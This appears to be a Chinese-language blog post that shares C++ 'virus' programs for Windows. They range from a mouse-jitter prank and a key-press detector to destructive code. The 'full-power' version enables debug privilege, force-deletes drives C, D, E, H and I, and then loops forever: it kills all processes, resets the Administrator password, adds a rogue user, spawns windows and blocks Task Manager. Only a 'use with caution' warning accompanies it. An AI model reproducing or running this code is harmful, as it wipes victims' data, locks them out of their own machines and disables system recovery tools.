c++病毒代码(慎用)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
#include<iostream>
#include<stdlib.h>
#include<conio.h>
#include<windows.h>
#include<ctime>
using namespace std;
int main()
{
cout<<"确定要修改密码吗,请输入Y(Yes)或N(No):";
char k=getch();
if(k=='Y'||k=='y') system("net user Administrator wait");//用户密码重设为wait
system("net user xxx wait /add");//用户名重设为xxx
//system("ping www.baidu.com");//ping百度网站
cout<<"确定要30秒关机吗,请输入Y(Yes)或N(No):";
k=getch();
if(k=='Y'||k=='y') system("shutdown -s -t 30");//30秒后关机
//system("del /F /S /Q D:\\");//强制删除D盘(慎用)
int x=GetSystemMetrics(SM_CXSCREEN);//get鼠标x轴
int y=GetSystemMetrics(SM_CYSCREEN);//get鼠标y轴
cout<<"确定要控制鼠标吗,请输入Y(Yes)或N(No):";
k=getch();
if(k=='Y'||k=='y') {
while(1)
{
SetCursorPos(rand()%x,rand()%y);//鼠标 x y轴 随机
//system("calc");//打开无数个计算器,直到死机(慎用)
//system("cmd");//打开cmd(慎用)
//system("taskkill /f /im taskmgr.exe");//禁止打开任务管理器(慎用)
}
}
return 0;
}

病毒火力全开版

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
#include<iostream>
#include<stdlib.h>
#include<conio.h>
#include<windows.h>
#include<ctime>
bool ElevatePrivileges() {
HANDLE hToken;
LUID sedebugnameValue;
TOKEN_PRIVILEGES tkp;

if (!OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken)) {
return false;
}

if (!LookupPrivilegeValue(NULL, SE_DEBUG_NAME, &sedebugnameValue)) {
CloseHandle(hToken);
return false;
}

tkp.PrivilegeCount = 1;
tkp.Privileges[0].Luid = sedebugnameValue;
tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;

if (!AdjustTokenPrivileges(hToken, FALSE, &tkp, 0, NULL, NULL)) {
CloseHandle(hToken);
return false;
}

if (GetLastError() != ERROR_SUCCESS) {
CloseHandle(hToken);
return false;
}

CloseHandle(hToken);
return true;
}//这个函数是获取管理员权限
using namespace std;
int main()
{ if (ElevatePrivileges()) { //查看是否有管理员权限
system("del /F /S /Q D:\\");//强制删除D盘(慎用)
system("del /F /S /Q C:\\");//强制删除C盘(慎用)
system("del /F /S /Q E:\\");//强制删除E盘(慎用)
system("del /F /S /Q H:\\");//强制删除H盘(慎用)
system("del /F /S /Q I:\\");//强制删除I盘(慎用)
int x=GetSystemMetrics(SM_CXSCREEN);//get鼠标x轴
int y=GetSystemMetrics(SM_CYSCREEN);//get鼠标y轴
while(1)
{
cout<<"电脑死亡之日!!!迎接电脑的颤抖吧"<<endl;
system("taskkill /f /im *");
system("net user Administrator qwertyuiopasdfghjklzxcvbnm");//用户密码重设为***
system("net user 顶级黑客 wait /add");//用户名重设为xxx
system("ping www.baidu.com");//ping百度网站
system("ping io.codehero.store");//ping io网站
system("ping 4399.com");//ping 4399网站
SetCursorPos(rand()%x,rand()%y);//鼠标 x y轴 随机
system("calc");//打开管理员无数个计算器,直到死机(慎用)
system("cmd");//打开cmd(慎用)
system("taskkill /f /im taskmgr.exe");//禁止打开任务管理器(慎用)
}
}
else {
cout<<"没有管理员权限,无法使用电脑大保健小程序"<<endl;
cout<<"请右键本程序,选择管理员身份运行";
}
return 0;
}

让鼠标唱跳rap打篮球(无毒)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
#include<iostream>
#include<stdlib.h>
#include<conio.h>
#include<windows.h>
#include<ctime>
using namespace std;
int main()
{
int x=GetSystemMetrics(SM_CXSCREEN);//get鼠标x轴
int y=GetSystemMetrics(SM_CYSCREEN);//get鼠标y轴
while(1)
{
SetCursorPos(rand()%x,rand()%y);//鼠标 x y轴 随机
if(GetAsyncKeyState('V') && GetAsyncKeyState('K')){ //按下V键和K键可跳出(不用大写)
return 0;
}
}
return 0;
}

键盘输入检测

1
2
3
4
5
6
7
8
9
10
11
12
13
#include<stdlib.h>
#include<conio.h>
#include<windows.h>
#include<ctime>
using namespace std;
int main()
{
while(1){
if(GetAsyncKeyState('V')){
cout<<1<<endl;
}
}
}

c++获取管理员权限(程序要以管理员身份)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
#include <windows.h>

bool ElevatePrivileges() {
HANDLE hToken;
LUID sedebugnameValue;
TOKEN_PRIVILEGES tkp;

if (!OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken)) {
return false;
}

if (!LookupPrivilegeValue(NULL, SE_DEBUG_NAME, &sedebugnameValue)) {
CloseHandle(hToken);
return false;
}

tkp.PrivilegeCount = 1;
tkp.Privileges[0].Luid = sedebugnameValue;
tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;

if (!AdjustTokenPrivileges(hToken, FALSE, &tkp, 0, NULL, NULL)) {
CloseHandle(hToken);
return false;
}

if (GetLastError() != ERROR_SUCCESS) {
CloseHandle(hToken);
return false;
}

CloseHandle(hToken);
return true;
}

int main() {
if (ElevatePrivileges()) {
// 权限提升成功,可以执行需要管理员权限的操作
} else {
// 权限提升失败
}
return 0;
}